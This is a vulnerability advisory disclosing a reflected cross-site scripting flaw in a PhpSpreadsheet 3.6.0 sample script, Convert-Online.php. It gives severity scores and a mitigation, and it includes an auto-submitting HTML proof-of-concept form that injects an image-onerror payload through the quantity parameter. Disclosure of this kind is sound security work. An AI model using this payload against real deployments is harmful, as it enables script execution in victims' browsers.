Convert-Online.php
fileProduct: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php
script, an attacker can perform a XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php
file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the quantity variable
Researcher: Aleksey Solovev (Positive Technologies)
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Convert-Online.php
file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php
file, which leads to the possibility of a XSS attack.
Figure 4. The message with the quantity parameter is displayed without sanitization
The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.
<img width="460" alt="fig5" src="https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971" />
Figure 5. In the server's response , the quantity variable is displayed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST">
<input type="hidden" name="category" value="Weight and Mass" />
<input type="hidden" name="quantity" value="1.0<img src=1 onerror=alert()>" />
<input type="hidden" name="fromUnit" value="g" />
<input type="hidden" name="toUnit" value="g" />
<input type="hidden" name="submitx" value="Convert" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.
<img width="389" alt="fig6" src="https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625" />
Figure 6. Executing arbitrary JavaScript code
This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
{ "nvd_published_at": "2025-01-03T16:15:26Z", "cwe_ids": [ "CWE-79" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-01-03T16:05:26Z" }